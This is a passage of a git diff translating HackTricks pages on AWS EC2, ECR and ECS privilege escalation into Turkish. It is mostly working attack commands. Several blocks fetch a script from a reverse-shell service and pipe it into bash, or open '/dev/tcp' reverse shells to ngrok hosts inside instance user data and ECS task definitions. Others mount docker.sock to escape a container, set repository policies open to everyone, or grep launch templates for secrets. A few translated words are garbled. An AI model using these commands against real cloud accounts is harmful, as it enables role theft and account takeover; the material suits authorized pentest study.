--iam-instance-profile Name= --instance-id ``` - -- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \* - +- veya **kullanılmış** **örneğin profilini** ele geçirilmiş örneğin (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir). ### `ec2:RequestSpotInstances`,`iam:PassRole` -An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ -Once the instance is run, he can **steal the IAM role**. - +**`ec2:RequestSpotInstances` ve `iam:PassRole`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile birlikte **bağlı bir EC2 Rolü** ile bir **Spot Instance** **talep edebilir**.\ +Örnek çalıştırıldığında, **IAM rolünü çalabilir**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 request-spot-instances \ - --instance-count 1 \ - --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` - ### `ec2:ModifyInstanceAttribute` -An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**. - -Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**. +**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirebilir**, bu da örneğin **rastgele verileri çalıştırmasını** sağlar. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir. +Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH" aws ec2 stop-instances --instance-ids $INSTANCE_ID aws ec2 modify-instance-attribute \ - --instance-id="$INSTANCE_ID" \ - --attribute userData \ - --value file://$TEXT_PATH +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH aws ec2 start-instances --instance-ids $INSTANCE_ID ``` - -**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance. +**Potansiyel Etki:** Oluşturulan bir örneğe ekli herhangi bir EC2 IAM Rolüne doğrudan yetki yükseltme. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. - +**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Başlatma Şablonu sürümü** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** ekleyebilir, varsayılan sürümü değiştirebilir ve **o Başlatma Şablonunu** kullanan **herhangi bir Autoscaler grubu** **en son** veya **varsayılan sürümü** kullanacak şekilde **yapılandırıldığında**, o şablonu kullanarak **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 create-launch-template-version \ - --launch-template-name bad_template \ - --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" aws ec2 modify-launch-template \ - --launch-template-name bad_template \ - --default-version 2 +--launch-template-name bad_template \ +--default-version 2 ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**. - +**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **bir Launch Configuration** oluşturabilir, **IAM Rolü** ve **rev shell** içeren **kullanıcı verisi** ile, ardından o yapılandırmadan **bir autoscaling grubu** oluşturup rev shell'in **IAM Rolünü çalmasını** bekleyebilir. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ - --launch-configuration-name bad_config \ - --image-id ami-0c1bc246476a5572b \ - --instance-type t3.micro \ - --iam-instance-profile EC2-CloudWatch-Agent-Role \ - --user-data "$REV" +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ - --auto-scaling-group-name bad_auto \ - --min-size 1 --max-size 1 \ - --launch-configuration-name bad_config \ - --desired-capacity 1 \ - --vpc-zone-identifier "subnet-e282f9b8" +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme. ### `!autoscaling` -The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc). +**`ec2:CreateLaunchTemplate`** ve **`autoscaling:CreateAutoScalingGroup`** izinleri **IAM rolüne yetki yükseltmek için yeterli değildir** çünkü Launch Configuration veya Launch Template'de belirtilen rolü eklemek için **`iam:PassRole` ve `ec2:RunInstances` izinlerine ihtiyacınız var** (bu bilinen bir yetki yükseltmedir). ### `ec2-instance-connect:SendSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges. - +**`ec2-instance-connect:SendSSHPublicKey`** iznine sahip bir saldırgan, bir kullanıcıya bir ssh anahtarı ekleyebilir ve bunu erişmek için kullanabilir (eğer örneğe ssh erişimi varsa) veya yetkileri yükseltmek için kullanabilir. ```bash aws ec2-instance-connect send-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --instance-os-user "ec2-user" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances. +**Olası Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki yükseltme. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**. - -In order to connect to the serial port you also **need to know the username and password of a user** inside the machine. +**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan, **bir seri bağlantıya ssh anahtarı ekleyebilir**. Seri bağlantı etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır. +Seri porta bağlanmak için ayrıca **makinedeki bir kullanıcının kullanıcı adı ve şifresini bilmeniz gerekir.** ```bash aws ec2 enable-serial-console-access aws ec2-instance-connect send-serial-console-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --serial-port 0 \ - --region "eu-west-1" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` +Bu yol, bunu istismar etmek için bir kullanıcı adı ve şifre bilmeniz gerektiğinden, privesc için çok faydalı değildir. -This way isn't that useful to privesc as you need to know a username and password to exploit it. - -**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances. +**Potansiyel Etki:** (Son derece kanıtlanamaz) Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc. ### `describe-launch-templates`,`describe-launch-template-versions` -Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates: - +Başlatma şablonları sürümleme içerdiğinden, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do - echo "[*] Analyzing $i" - aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata - do - echo "VersionNumber: $version" - echo "$userdata" | base64 -d - echo - done | grep -iE "aws_|password|token|api" +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" done ``` +Yukarıdaki komutlarda, belirli desenleri (`aws_|password|token|api`) belirtmemize rağmen, diğer hassas bilgileri aramak için farklı bir regex kullanabilirsiniz. -In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. +`aws_access_key_id` ve `aws_secret_access_key` bulursak, bu kimlik bilgilerini AWS'ye kimlik doğrulamak için kullanabiliriz. -Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS. +**Olası Etki:** IAM kullanıcı(lar)ına doğrudan ayrıcalık yükseltme. -**Potential Impact:** Direct privilege escalation to IAM user(s). - -## References +## Referanslar - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index fd4686edb..5f5186193 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,21 +6,21 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images. +**`ecr:GetAuthorizationToken`** ve **`ecr:BatchGetImage`** izinlerine sahip bir saldırgan ECR'ye giriş yapabilir ve görüntüleri indirebilir. -For more info on how to download images: +Görüntüleri nasıl indireceğiniz hakkında daha fazla bilgi için: {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Potansiyel Etki:** Trafikteki hassas bilgileri yakalayarak dolaylı ayrıcalık yükseltme. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used. +Bu tüm izinlere sahip bir saldırgan **ECR'ye giriş yapabilir ve görüntüleri yükleyebilir**. Bu, bu görüntülerin kullanıldığı diğer ortamlarda ayrıcalıkları yükseltmek için faydalı olabilir. -To learn how to upload a new image/update one, check: +Yeni bir görüntü yüklemeyi/güncellemeyi öğrenmek için kontrol edin: {{#ref}} ../aws-services/aws-eks-enum.md @@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check: ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -Like the previous section, but for public repositories. +Önceki bölüm gibi, ancak kamuya açık depolar için. ### `ecr:SetRepositoryPolicy` -An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\ -For example, in this example read access is given to everyone. - +Bu izne sahip bir saldırgan **depo** **politikasını** **değiştirerek** kendisine (veya hatta herkese) **okuma/yazma erişimi** verebilir.\ +Örneğin, bu örnekte okuma erişimi herkese verilmektedir. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - -Contents of `my-policy.json`: - +`my-policy.json` içeriği: ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "allow public pull", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - ### `ecr-public:SetRepositoryPolicy` -Like the previoous section, but for public repositories.\ -An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges. - +Önceki bölümdeki gibi, ancak kamuya açık depolar için.\ +Bir saldırgan, ECR Public deposunun **depo politikasını değiştirebilir** ve yetkisiz kamu erişimi sağlayabilir veya ayrıcalıklarını artırabilir. ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "MaliciousPublicRepoPolicy", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr-public:GetDownloadUrlForLayer", - "ecr-public:BatchGetImage", - "ecr-public:BatchCheckLayerAvailability", - "ecr-public:PutImage", - "ecr-public:InitiateLayerUpload", - "ecr-public:UploadLayerPart", - "ecr-public:CompleteLayerUpload", - "ecr-public:DeleteRepositoryPolicy" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] }' > malicious_public_repo_policy.json # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` - -**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images. +**Potansiyel Etki**: ECR Public deposuna yetkisiz genel erişim, herhangi bir kullanıcının görüntüleri yüklemesine, çekmesine veya silmesine olanak tanır. ### `ecr:PutRegistryPolicy` -An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**. - +Bu izne sahip bir saldırgan, **kayıt politikası**nı **değiştirerek** kendisine, hesabına (veya hatta herkese) **okuma/yazma erişimi** verebilir. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 4988270ab..dbfde9a06 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -More **info about ECS** in: +Daha fazla **ECS hakkında bilgi** için: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,185 +12,173 @@ More **info about ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**. - +`iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini kötüye kullanan bir saldırgan, **metadata kimlik bilgilerini çalan** **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** **oluşturabilir** ve **çalıştırabilir**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" # Run task definition aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to a different ECS role. +**Potansiyel Etki:** Farklı bir ECS rolüne doğrudan yetki yükseltme. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\ -However, in this case, a container instance to run the malicious task definition need to be. - +Önceki örnekte olduğu gibi, **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanan bir saldırgan, **metadata kimlik bilgilerini çalan** bir **kötü niyetli konteyner** ile **yeni bir görev tanımı oluşturabilir** ve **bunu çalıştırabilir**.\ +Ancak, bu durumda, kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği gereklidir. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" aws ecs start-task --task-definition iam_exfiltration \ - --container-instances +--container-instances # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan yetki yükseltme. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.** - +Önceki örnekte olduğu gibi, **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanan bir saldırgan, **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **en az 1 görev çalıştırarak yeni bir hizmet oluşturarak bunu çalıştırabilir.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn "$ECS_ROLE_ARN" \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" # Run the task creating a service aws ecs create-service --service-name exfiltration \ - --task-definition iam_exfiltration \ - --desired-count 1 \ - --cluster "$CLUSTER_ARN" \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" # Run the task updating a service aws ecs update-service --cluster \ - --service \ - --task-definition +--service \ +--task-definition ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Olası Etki:** Herhangi bir ECS rolüne doğrudan yetki yükseltme. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like: - +Aslında, bu izinlerle, bir konteynerde rastgele bir rol ile rastgele komutlar çalıştırmak için geçersiz kılmalar kullanmak mümkündür: ```bash aws ecs run-task \ - --task-definition "" \ - --overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ - --cluster \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan privesc. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\ -This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\ -You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)). +Bu senaryo, önceki senaryolar gibidir ancak **`iam:PassRole`** izni **olmaksızın**.\ +Bu hala ilginçtir çünkü eğer rastgele bir konteyner çalıştırabiliyorsanız, rol olmadan bile, **düğümden kaçmak için ayrıcalıklı bir konteyner çalıştırabilir** ve **EC2 IAM rolünü** ve düğümde çalışan **diğer ECS konteyner rollerini** **ç steal** edebilirsiniz.\ +Hatta **ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir** ve onların kimlik bilgilerini ç steal edebilirsiniz (bununla ilgili [**Düğüm bölümüne privesc**](aws-ecs-privesc.md#privesc-to-node) bakınız). > [!WARNING] -> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate. - +> Bu saldırı yalnızca **ECS kümesi EC2** örnekleri kullanıyorsa ve Fargate değilse mümkündür. ```bash printf '[ - { - "name":"exfil_creds", - "image":"python:latest", - "entryPoint":["sh", "-c"], - "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], - "mountPoints": [ - { - "readOnly": false, - "containerPath": "/var/run/docker.sock", - "sourceVolume": "docker-socket" - } - ] - } +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} ]' > /tmp/task.json printf '[ - { - "name": "docker-socket", - "host": { - "sourcePath": "/var/run/docker.sock" - } - } +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} ]' > /tmp/volumes.json aws ecs register-task-definition --family iam_exfiltration \ - --cpu 256 --memory 512 \ - --requires-compatibilities '["EC2"]' \ - --container-definitions file:///tmp/task.json \ - --volumes file:///tmp/volumes.json +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ - --launch-type EC2 +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell ``` - ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\ -However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't). +**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** olan bir saldırgan, **çalışan bir konteynerin** içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\ +Ancak, bunu yapmak için konteyner örneğinin **ExecuteCommand ajanını** çalıştırıyor olması gerekir (varsayılan olarak değildir). -Therefore, the attacker cloud try to: - -- **Try to run a command** in every running container +Bu nedenle, saldırgan şunları denemek isteyebilir: +- **Her çalışan 